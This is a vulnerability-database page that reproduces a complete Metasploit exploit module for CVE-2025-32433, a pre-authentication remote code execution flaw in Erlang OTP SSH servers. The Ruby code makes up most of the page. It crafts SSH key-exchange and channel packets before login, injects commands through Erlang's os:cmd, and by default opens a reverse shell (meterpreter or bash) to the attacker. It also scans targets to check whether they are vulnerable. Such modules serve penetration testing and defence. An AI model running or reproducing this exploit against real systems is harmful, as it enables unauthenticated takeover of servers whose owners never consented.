Lucene search
K

📄 Erlang-Based SSH OTP Pre-Authentication Remote Code Execution

🗓️ 02 May 2025 00:00:00Reported by Horizon3 Attack Team, mekhalleh, Martin Kristiansen, Matt KeeleyType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 201 Views

Erlang OTP pre-auth RCE scanner and exploit for CVE-2025-32433 enabling remote command execution.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'
    require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'
    require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Erlang OTP Pre-Auth RCE Scanner and Exploit',
            'Description' => %q{
              This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH
              servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to
              establish a reverse shell on the target system.
    
              The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`
              function without requiring authentication.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Horizon3 Attack Team',
              'Matt Keeley', # PoC
              'Martin Kristiansen', # PoC
              'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)
            ],
            'References' => [
              ['CVE', '2025-32433'],
              ['URL', 'https://x.com/Horizon3Attack/status/1912945580902334793'],
              ['URL', 'https://platformsecurity.com/blog/CVE-2025-32433-poc'],
              ['URL', 'https://github.com/ProDefense/CVE-2025-32433']
            ],
            'Platform' => ['linux', 'unix'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Linux Command', {
                  'Platform' => 'linux',
                  'Arch' => ARCH_CMD,
                  'Type' => :linux_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'
                    # cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.
                  }
                }
              ],
              [
                'Unix Command', {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ]
            ],
            'Privileged' => true,
            'DisclosureDate' => '2025-04-16',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(22),
          OptString.new('SSH_IDENT', [true, 'SSH client identification string sent to the server', 'SSH-2.0-OpenSSH_8.9'])
        ])
      end
    
      # builds SSH_MSG_CHANNEL_OPEN for session
      def build_channel_open(channel_id)
        msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new
        payload = {
          'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,
          'channel type': 'session',
          'sender channel': channel_id,
          'initial window size': 0x68000,
          'maximum packet size': 0x10000
        }
        msg.encode(payload)
      end
    
      # builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
      def build_channel_request(channel_id, command)
        msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new
        payload = {
          'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,
          'recipient channel': channel_id,
          'request type': 'exec',
          'want reply': true,
          command: "os:cmd(\"#{command}\")."
        }
        msg.encode(payload)
      end
    
      # builds a minimal but valid SSH_MSG_KEXINIT packet
      def build_kexinit
        msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new
        payload = {}
        payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE
        # The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The
        # encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.
        16.times do
          payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')
        end
        payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']
        payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']
        payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']
        payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']
        payload[:mac_algorithms_client_to_server] = ['hmac-sha1']
        payload[:mac_algorithms_server_to_client] = ['hmac-sha1']
        payload[:compression_algorithms_client_to_server] = ['none']
        payload[:compression_algorithms_server_to_client] = ['none']
        payload[:languages_client_to_server] = []
        payload[:languages_server_to_client] = []
        payload[:first_kex_packet_follows] = false
        payload[:"0 (reserved for future extension)"] = 0
        msg.encode(payload)
      end
    
      # formats a list of names into an SSH-compatible string (comma-separated)
      def name_list(names)
        string_payload(names.join(','))
      end
    
      # pads a packet to match SSH framing
      def pad_packet(payload, block_size)
        min_padding = 4
        payload_length = payload.length
        padding_len = block_size - ((payload_length + 5) % block_size)
        padding_len += block_size if padding_len < min_padding
        [(payload_length + 1 + padding_len)].pack('N') +
          [padding_len].pack('C') +
          payload +
          "\x00" * padding_len
      end
    
      # helper to format SSH string (4-byte length + bytes)
      def string_payload(str)
        s_bytes = str.encode('utf-8')
        [s_bytes.length].pack('N') + s_bytes
      end
    
      def check
        print_status('Starting scanner for CVE-2025-32433')
    
        connect
        sock.put("#{datastore['SSH_IDENT']}\r\n")
        banner = sock.get_once(1024, 10)
        unless banner
          return Exploit::CheckCode::Unknown('No banner received')
        end
    
        unless banner.to_s.downcase.include?('erlang')
          return Exploit::CheckCode::Safe("Not an Erlang SSH service: #{banner.strip}")
        end
    
        sleep(0.5)
    
        print_status('Sending SSH_MSG_KEXINIT...')
        kex_packet = build_kexinit
        sock.put(pad_packet(kex_packet, 8))
        sleep(0.5)
    
        response = sock.get_once(1024, 5)
        unless response
          return Exploit::CheckCode::Detected("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT")
        end
    
        print_status('Sending SSH_MSG_CHANNEL_OPEN...')
        chan_open = build_channel_open(0)
        sock.put(pad_packet(chan_open, 8))
        sleep(0.5)
    
        print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
        chan_req = build_channel_request(0, Rex::Text.rand_text_alpha(rand(4..8)).to_s)
        sock.put(pad_packet(chan_req, 8))
        sleep(0.5)
    
        begin
          sock.get_once(1024, 5)
        rescue EOFError, Errno::ECONNRESET
          return Exploit::CheckCode::Safe('The target is not vulnerable to CVE-2025-32433.')
        end
        sock.close
    
        report_vuln(
          host: datastore['RHOST'],
          name: name,
          refs: references,
          info: 'The target is vulnerable to CVE-2025-32433.'
        )
        Exploit::CheckCode::Vulnerable
      rescue Rex::ConnectionError
        Exploit::CheckCode::Unknown('Failed to connect to the target')
      rescue Rex::TimeoutError
        Exploit::CheckCode::Unknown('Connection timed out')
      ensure
        disconnect unless sock.nil?
      end
    
      def exploit
        print_status('Starting exploit for CVE-2025-32433')
        connect
        sock.put("SSH-2.0-OpenSSH_8.9\r\n")
        banner = sock.get_once(1024)
        if banner
          print_good("Received banner: #{banner.strip}")
        else
          fail_with(Failure::Unknown, 'No banner received')
        end
        sleep(0.5)
    
        print_status('Sending SSH_MSG_KEXINIT...')
        kex_packet = build_kexinit
        sock.put(pad_packet(kex_packet, 8))
        sleep(0.5)
    
        print_status('Sending SSH_MSG_CHANNEL_OPEN...')
        chan_open = build_channel_open(0)
        sock.put(pad_packet(chan_open, 8))
        sleep(0.5)
    
        print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')
        chan_req = build_channel_request(0, payload.encoded)
        sock.put(pad_packet(chan_req, 8))
    
        begin
          response = sock.get_once(1024, 5)
          if response
            print_status('Packets sent successfully and receive response from the server')
    
            hex_response = response.unpack('H*').first
            vprint_status("Received response: #{hex_response}")
    
            if hex_response.start_with?('000003')
              print_good('Payload executed successfully')
            else
              print_error('Payload execution failed')
            end
          end
        rescue EOFError, Errno::ECONNRESET
          print_error('Payload execution failed')
        rescue Rex::TimeoutError
          print_error('Connection timed out')
        end
    
        sock.close
      rescue Rex::ConnectionError
        fail_with(Failure::Unreachable, 'Failed to connect to the target')
      rescue Rex::TimeoutError
        fail_with(Failure::TimeoutExpired, 'Connection timed out')
      rescue StandardError => e
        fail_with(Failure::Unknown, "Error: #{e.message}")
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 May 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.110
EPSS0.62846
201